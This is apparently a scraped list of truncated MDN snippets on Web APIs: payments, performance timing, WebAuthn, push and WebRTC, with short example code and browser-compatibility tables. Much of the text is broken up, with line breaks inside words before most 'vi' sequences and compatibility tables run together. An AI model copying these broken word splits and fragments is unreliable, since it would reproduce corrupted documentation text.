visit about:config.ie no support noopera no support nosafari full support 11.1web
view android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is b...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentRequest.shippingAddress - Web APIs
the shippingaddress read-only property of the paymentrequest interface returns the shipping address pro
vided by the user.
... // initialization of paymentrequest arguments are excerpted for the sake of // bre
vity.
... var payment = new paymentrequest(supportedinstruments, details, options); payment.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for bre
vity.
PaymentRequest - Web APIs
properties paymentrequest.id read only secure context an unique identifier for a particular paymentrequest, which can be set
via details.id.
... paymentrequest.shippingaddress read only secure context if requested
via payment options, returns the shipping address chosen by the user for the purposes of calculating shipping.
...this will be one of shipping, delivery, pickup, or null if a value was not pro
vided in the constructor.
PaymentRequest.payerName - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayernamechrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 58firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 7.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.requestId - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidchrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 60firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse - Web APIs
properties paymentresponse.details read only secure context returns a json-serializable object that pro
vides a payment method specific message used by the merchant to process the transaction and determine successful fund transfer.
... paymentresponse.methodname read only secure context returns the payment method identifier for the payment method that the user selected, for example,
visa, mastercard, paypal, etc..
... also available
via the onpayerdetailchange property.
PaymentValidationErrors - Web APIs
the paymentvalidationerrors dictionary represents objects pro
viding information about any and all errors that occurred while processing a payment request.
...error can be pro
vided all by itself to pro
vide only a generic error message, or in concert with the other properties to serve as an over
view while other properties' values gude the user to errors in specific fields in the payment form.
... payer optional a payererrors compliant object which pro
vides appropriate error messages for any of the fields describing the payer which failed validation.
performance.measure() - Web APIs
the measure() method creates a named timestamp in the browser's performance entry buffer between marks, the na
vigation start time, or the current time.
...if it is omitted, then the start time will be the na
vigation start time.
... performance.measure("measure a to b", markernamea, markernameb); performance.measure("measure a to now", markernamea); performance.measure("measure from na
vigation start to b", undefined, markernameb); performance.measure("measure from the start of na
vigation to now"); // pull out all of the measurements.
performance.now() - Web APIs
in shared or ser
vice workers, the value in the worker might be higher than that of the main context because that window can be created after those workers.
... the precision of the returned value is subject to change if/when the security concerns are alle
viated through other means.
...otherwise, performance.timing.na
vigationstart + performance.now() will be approximately equal to date.now().
Performance.timing - Web APIs
this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax timinginfo = performance.timing; specifications specification status comment na
vigation timing level 2 working draft initial definition.
PerformanceFrameTiming - Web APIs
performanceframetiming is an abstract interface that pro
vides frame timing data about the browser's event loop.
...this information can be used to help identify areas that take too long to pro
vide a good user experience.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the follo...
PerformancePaintTiming - Web APIs
the performancepainttiming interface of the paint timing pro
vides timing information about "paint" (also called "render") operations during web page construction.
...use this information to help identify areas that take too long to pro
vide a good user experience.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fetch (http or cache) of the message body, after remo
ving any applied content-codings.
... if the resource is retrieved from an application cache or local resources, it returns the size of the payload after remo
ving any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fetch (http or cache) of the message body, after remo
ving any applied content-codings.
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fetch (http or cache), of the payload body, before remo
ving any applied content-codings.
... if the resource is retrieved from an application cache or a local resource, it must return the size of the payload body before remo
ving any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before remo
ving any applied content-codings.
PerformanceResourceTiming.redirectEnd - Web APIs
the redirectend read-only property returns a timestamp immediately after recei
ving the last byte of the response of the last redirect.
... when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after recei
ving the last byte of the response of the last redirect; otherwise, zero is returned.
... syntax resource.redirectend; return value a timestamp immediately after recei
ving the last byte of the response of the last redirect.
PerformanceTiming.connectEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.connectend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.connectend' in that specification.
PerformanceTiming.connectStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.connectstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.connectstart' in that specification.
PerformanceTiming.domComplete - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domcomplete; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domcomplete' in that specification.
PerformanceTiming.domContentLoadedEventEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domcontentloadedeventend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domcontentloadedeventend' in that specification.
PerformanceTiming.domContentLoadedEventStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domcontentloadedeventstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domcontentloadedeventstart' in that specification.
PerformanceTiming.domInteractive - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.dominteractive; specifications specification status comment na
vigation timingthe definition of 'performancetiming.dominteractive' in that specification.
PerformanceTiming.domLoading - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domloading; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domloading' in that specification.
PerformanceTiming.domainLookupEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domainlookupend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domainlookupend' in that specification.
PerformanceTiming.domainLookupStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.domainlookupstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.domainlookupstart' in that specification.
PerformanceTiming.fetchStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performance.timing.fetchstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.fetchstart' in that specification.
PerformanceTiming.loadEventEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface's performancena
vigationtiming.loadeventend read-only property instead.
... syntax time = performancetiming.loadeventend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.loadeventend' in that specification.
PerformanceTiming.loadEventStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface's performancena
vigationtiming.loadeventstart read-only property instead..
... syntax time = performancetiming.loadeventstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.loadeventstart' in that specification.
PerformanceTiming.redirectEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.redirectend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.redirectend' in that specification.
PerformanceTiming.redirectStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.redirectstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.redirectstart' in that specification.
PerformanceTiming.requestStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.requeststart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.requeststart' in that specification.
PerformanceTiming.responseEnd - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.responseend; specifications specification status comment na
vigation timingthe definition of 'performancetiming.responseend' in that specification.
PerformanceTiming.responseStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.responsestart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.responsestart' in that specification.
PerformanceTiming.secureConnectionStart - Web APIs
this interface of this property is deprecated in the na
vigation timing level 2 specification.
... please use the performancena
vigationtiming interface instead.
... syntax time = performancetiming.secureconnectionstart; specifications specification status comment na
vigation timingthe definition of 'performancetiming.secureconnectionstart' in that specification.
Plugin - Web APIs
the plugin interface pro
vides information about a browser plugin.
... specifications specification status comment html li
ving standardthe definition of 'plugin' in that specification.
... li
ving standard initial definition.
PopStateEvent - Web APIs
and the event is only triggered when the user na
vigates between two history entries for the same document.
... specifications specification status comment html li
ving standardthe definition of 'popstateevent' in that specification.
... li
ving standard initial definition ...
PositionOptions.enableHighAccuracy - Web APIs
if true and if the de
vice is able to pro
vide a more accurate position, it will do so.
... note that this can result in slower response times or increased power consumption (with a gps chip on a mobile de
vice for example).
... on the other hand, if false (the default value), the de
vice can take the liberty to save resources by responding more quickly and/or using less power.
ProgressEvent - Web APIs
the progressevent interface represents events measuring progress of an underlying process, like an http request (for an xmlhttprequest, or the loading of the underlying resource of an <img>, <audio>, <
video>, <style> or <link>).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/progressevent" targ...
... li
ving standard ...
PromiseRejectionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,2...
... window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html li
ving standardthe definition of 'promiserejectionevent' in that specification.
... li
ving standard initial definition.
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
this is pro
vided by the relying party's server if it wants to prevent creation of new credentials for an existing user.
...the value of the strings may be: "usb": the authenticator can be contacted
via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client de
vice (cannot be removed).
...new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialCreationOptions.rp - Web APIs
the rp property of the publickeycredentialcreationoptions dictionary is an object describing the relying party which requested the credential creation (
via na
vigator.credentials.create()).
... name a domstring gi
ving a human-readable name for the relying party.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialCreationOptions.user - Web APIs
the user property of the publickeycredentialcreationoptions dictionary is an object describing the user account for which the credentials are generated (
via na
vigator.credentials.create()).
... name a domstring gi
ving a human-readable name for the user's identifier (e.g.
...p: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialRequestOptions.rpId - Web APIs
if it is not explicitely pro
vided, the user agent will use the value of the current origin's domain.
... note: an analogous option exists for the creation operation (na
vigators.credentials.create()), see the id property of publickeycredentialcreationoptions.rp.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1t...
PublicKeyCredentialRequestOptions.timeout - Web APIs
note: an analogous option exists for the creation operation (na
vigators.credentials.create()), see publickeycredentialcreationoptions.timeout.
... syntax timeout = publickeycredentialrequestoptions.timeout value a numerical hint, expressed in milliseconds, gi
ving the time to wait for the creation operation to complete.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialRequestOptions - Web APIs
the publickeycredentialrequestoptions dictionary of the web authentication api holds the options passed to na
vigator.credentials.get() in order to fetch a given publickeycredential.
...if this option is not pro
vided, the client will use the current origin's domain.
...ptions = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com", /* will only work if the current domain is something like foo.example.com */ userverification: "preferred", timeout: 60000, // wait for a minute allowcredentials: [ { transports: "usb", type: "public-key", id: new uint8array(26) // actually pro
vided by the server }, { transports: "internal", type: "public-key", id: new uint8array(26) // actually pro
vided by the server } ], extensions: { uvm: true, // rp wants to know how the user was verified loc: false, txauthsimple: "could you please verify yourself?" } }; na
vigator.credentials.get({ "publickey": options }) .then(function (credential...
PushManager.registrations() - Web APIs
syntax var request = na
vigator.push.registrations(); return a domrequest object to handle the success or failure of the method call.
... example var req = na
vigator.push.registrations(); req.onsuccess = function(e) { if (req.result.length > 0) { for (var i = 0, l = req.result.length; i < l; i++) { console.log("existing registration", req.result[i].pushendpoint, req.result[i].version); } // reuse existing endpoints.
... var register = na
vigator.push.register(); register.onsuccess = function(e) { console.log("registered new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface.
PushManager.unregister() - Web APIs
in the updated api, a subscription is can be unregistered
via the pushsubscription.unsubscribe() method.
... syntax var request = na
vigator.push.unregister(pushendpoint); properties pushendpoint a pushendpoint to be unregistered.
... example var req = na
vigator.push.unregister(pushendpoint); req.onsuccess = function(e) { var endpoint = req.result; debug("unregistered endpoint: " + endpoint ); } req.onerror = function(e) { debug("error unregistering the endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushSubscription.getKey() - Web APIs
ot yet subscribed to push') // we aren't subscribed to push, so set ui // to allow the user to enable push return; } // set your ui to show they have subscribed for // push messages subbtn.textcontent = 'unsubscribe from push messaging'; ispushenabled = true; // initialize status, which includes setting ui elements for subscribed status // and updating subscribers list
via push var endpoint = subscription.endpoint; var key = subscription.getkey('p256dh'); var auth = subscription.getkey('auth'); ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkey()chrome full support 42edge full support 16firefox full support 44notes full support 44notes notes extended support releases (e...
...sr) before firefox 78 esr do not support ser
vice workers and the push api.ie no support noopera full support 29safari no support noweb
view android no support nochrome android full support 42firefox android full support 48opera android full support 29safari ios no support nosamsung internet android full support 4.0legend full support full suppor...
PushSubscription - Web APIs
the pushsubscription interface of the push api pro
vides a subcription's url endpoint and allows unsubscription from a push ser
vice.
... pushsubscription.unsubscribe() starts the asynchronous process of unsubscribing from the push ser
vice, returning a promise that resolves to a boolean when the current subscription is successfully unregistered.
... example na
vigator.ser
viceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscription' in that specification.
RTCConfiguration.bundlePolicy - Web APIs
this string, which must be a member of the rtcbundlepolicy enumeration, has the following possible values: balanced the ice agent begins by creating one rtcdtlstransport to handle each type of content added: one for audio, one for
video, and one for the rtc data channel, if applicable.
... if the remote peer isn't bundle-aware, the ice agent chooses one audio track and one
video track and those two tracks are each assigned to the corresponding rtcdtlstransport.
... the goal of bundling is to optimize performance by reducing the overhead of ha
ving multiple transports in play.
RTCConfiguration.iceTransportPolicy - Web APIs
the webrtc de
vice api dictionary rtcconfiguration's icetransportpolicy property is a string indicating the transport selection policy the ice agent should use during negotiation of connections.
... this can be used to prevent the remote endpoint from recei
ving the user's ip addresses, which may be important in some security situations.
... for example, in a
video calling application, the app may want to prevent unknown callers from learning the callee's ip addresses until the callee has agreed to receive the call.
RTCDataChannel: error event - Web APIs
bubbles yes cancelable no interface rtcerrorevent event handler property onerror the rtcerrorevent object pro
vides details about the error that occurred; see that article for details.
...tory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol
violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity pro
vider load failure: http e...
...received dlts failure alert: ", err.receivedalert); } if (err.sentalert) { console.error(" sent dlts failure alert: ", err.receivedalert); } break; } // add source file name and line information console.error(" error in file ", err.filename, " at line ", err.linenumber, ", column ", err.columnnumber); }, false); the received event pro
vides details in an rtcerror object called error; rtcerror is an extension of the domexception interface.
RTCIceCandidate.address - Web APIs
the rtcicecandidate interface's read-only address property is a string pro
viding the address of the de
vice which is the source of the candidate.
... syntax var address = rtcicecandidate.address; value a domstring pro
viding the ip address from which the candidate comes.
...the ip address can be used to derive information about the remote de
vice's location, network topology, and so forth.
RTCIceCandidate.relatedAddress - Web APIs
the related address and port (relatedport) are not used at all by ice itself; they are pro
vided for analysis and diagnostic purposes only, and their inclusion may be blocked by security systems, so do not rely on them ha
ving non-null values.
...relatedaddress can be used for diagnostic purposes; by obser
ving the relationships between the various types of candidates and their addresses and related addresses.
... relatedaddress can also be used by quality-of-ser
vice (qos) mechanisms.
RTCIceCandidate.relatedPort - Web APIs
the related address (relatedaddress) and port are not used at all by ice itself; they are pro
vided for analysis and diagnostic purposes only, and their inclusion may be blocked by security systems, so do not rely on them ha
ving non-null values.
...for relay candidates, the related address and port pro
vide the mapped address selected by the turn server.
... usage notes the related address and port are not used by ice itself, and are only present for diagnostic and quality-of-ser
vice purposes.
RTCIceCandidatePairStats.requestsReceived - Web APIs
the rtcicecandidatepairstats dictionary's requestsreceived property indicates the total number of stun connecti
vity check requests that have been received so far on the connection described by this pairing of candidates.
... syntax requestsreceived = rtcicecandidatepairstats.requestsreceived; value an integer value which specifies the number of stun connecti
vity and/or consent requests that have been received to date on the connection described by this pair of ice candidates.
... because there's no way to tell the difference between requests made to check connecti
vity and requests made to check consent, the returned figure includes both.
RTCIceCandidatePairStats.responsesSent - Web APIs
the rtcicecandidatepairstats dictionary's responsessent property indicates the total number of stun connecti
vity check responses that have been sent so far on the connection described by this pair of candidates.
... syntax responsessent = rtcicecandidatepairstats.responsessent; value an integer value indicating the number of times a repsonse has been sent to a stun connecti
vity check request.
... note: since it isn't possible to tell the difference between connecti
vity check requests and consent requests, this value includes both.
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionsreceived property indicates the total number of stun connecti
vity check request retransmissions that have been received so far on the pair of candidates.
... syntax retransmissionsreceived = rtcicecandidatepairstats.retransmissionsreceived; value an integer value indicating the total number of retransmitted stun connecti
vity check requests have been received on the connection referenced by this candidate pair so far.
... note: retransmissions are connecti
vity check requests with a transaction_transmit_counter attribute whose req field is greater than 1 (indicating that the request has been transmitted more than once).
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
the rtcicecandidatepairstats dictionary's retransmissionssent property indicates the total number of stun connecti
vity check request retransmissions that have been sent so far on the pair of candidates.
... syntax retransmissionssent = rtcicecandidatepairstats.retransmissionssent; value an integer value indicating the total number of retransmitted stun connecti
vity check requests have been sent on the connection referenced by this candidate pair so far.
... note: retransmissions are connecti
vity check requests with a transaction_transmit_counter attribute whose req field is greater than 1 (indicating that the request has been transmitted more than once).
RTCIceCandidateStats - Web APIs
the webrtc api's rtcicecandidatestats dictionary pro
vides statistics related to an rtcicecandidate.
...this property was pre
viously named ip and only accepted ip addresses.
... candidatetype optional a string matching one of the values in the rtcicecandidatetype enumerated type, indicating what kind of candidate the object pro
vides statistics for.
RTCIceRole - Web APIs
the rtcicerole enumerated type lists the string values that identify whether a connection's ice agent is ser
ving as the controlling agent or the controlled agent, as indicated by rtcicetransport.role.
... you can learn more about ice roles in choosing a candidate pair in webrtc connecti
vity.
... values "controlling" the rtcicetransport object is ser
ving as the controlling agent.
RTCIceServer - Web APIs
objects of this type are pro
vided in the configuration of an rtcpeerconnection, in the iceservers array.
...the first one, stun:stun.ser
vices.mozilla.com, requires authentication, so the username and password are pro
vided.
... var configuration = { iceservers: [{ urls: "stun:stun.ser
vices.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: [ "stun:stun.example.com", "stun:stun-1.example.com" ] }] }; var pc = new rtcpeerconnection(configuration); once the configuration object has been created, it is passed into the rtcpeerconnection() constructor to use it as the configuration for the new peer connection.
RTCInboundRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded
video data has been lost for one or more frames.
...these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded
video data, which may span frame boundaries, has been lost.
... this information is only available for
video streams.
RTCOutboundRtpStreamStats.firCount - Web APIs
available only on
video media.
...this statistic is available only for
video tracks.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the recei
ving de
vice is overburdened and is therefore unable to process the incoming data.
RTCPeerConnection() - Web APIs
the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local de
vice and a remote peer.
... syntax pc = new rtcpeerconnection([configuration]); parameters configuration optional an rtcconfiguration dictionary pro
viding options to configure the new connection.
...although only one certificate is used by a given connection, pro
viding certificates for multiple algorithms may improve the odds of successfully connecting in some circumstances.
RTCPeerConnection.canTrickleIceCandidates - Web APIs
this property is only set after ha
ving called rtcpeerconnection.setremotedescription().
... ideally, your signaling protocol pro
vides a way to detect trickling support, so that you don't need to rely on this property.
... note: this property's value is determined once the local peer has called rtcpeerconnection.setremotedescription(); the pro
vided description is used by the ice agent to determine whether or not the remote peer supports trickled ice candidates.
RTCPeerConnection.getDefaultIceServers() - Web APIs
the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are pro
vided to the rtcpeerconnection in its rtcconfiguration.
... however, browsers are not required to pro
vide any default ice servers at all.
...if there are no defaults pro
vided by the browser, the returned array is empty; this property's value is never null.
RTCPeerConnection.getStats() - Web APIs
the rtcpeerconnection method getstats() returns a promise which resolves with data pro
viding statistics about either the overall connection or about the specified mediastreamtrack.
... return value a promise which resolves with an rtcstatsreport object pro
viding connection statistics.
... obsolete syntax pre
viously, getstats() used success and failure callbacks to report the results to you, instead of using a promise.
RTCPeerConnection: icecandidate event - Web APIs
rtcpeerconnection.onicecandidate = (event) => { if (event.candidate) { sendcandidatetoremotepeer(event.candidate) } else { /* there are no more candidates coming during this negotiation */ } } the remote peer, upon recei
ving the candidate, will add the candidate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server.
...as you see in the code in the pre
vious section, every candidate is sent to the other peer, including any that might have an empty candidate string.
... this is a more reliable approach than looking at the indi
vidual ice messages for one indicating that the ice session is finished.
RTCPeerConnection: icecandidateerror event - Web APIs
the 701 error is fired only once per server url from the list of available stun or turn servers pro
vided when creating the rtcpeerconnection.
... pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.url, event.errortext); } }); note that if multiple stun and/or turn servers are pro
vided when creating the connection, this error may happen more than once, if more than one of those servers fails.
... each pro
vided server is tried until a connection is established.
RTCPeerConnection.onnegotiationneeded - Web APIs
syntax rtcpeerconnection.onnegotiationneeded = eventhandler; value this should be set to a function you pro
vide which is passed a single parameter: an event object containing the negotiationneeded event.
... there's no additional information pro
vided in the event; anything you need, you can get by examining the properties of the rtcpeerconnection.
... example this example, derived from the example in signaling and
video calling, establishes a handler for negotiationneeded events to handle creating an offer, configuring the local end of the connection, and sending the offer to the remote peer.
RTCPeerConnection.removeTrack() - Web APIs
the rtcpeerconnection.removetrack() method tells the local end of the connection to stop sending media from the specified track, without actually remo
ving the corresponding rtcrtpsender from the list of senders as reported by rtcpeerconnection.getsenders().
... example this example adds a
video track to a connection and sets up a listener on a close button which removes the track when the user clicks the button.
... var pc, sender; na
vigator.getusermedia({
video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.get
videotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
RTCPeerConnection.setConfiguration() - Web APIs
syntax rtcpeerconnection.setconfiguration(configuration); parameters configuration an rtcconfiguration object which pro
vides the options to be set.
... exceptions invalidaccesserror one or more of the urls specified in configuration.iceservers is a turn server, but complete login information is not pro
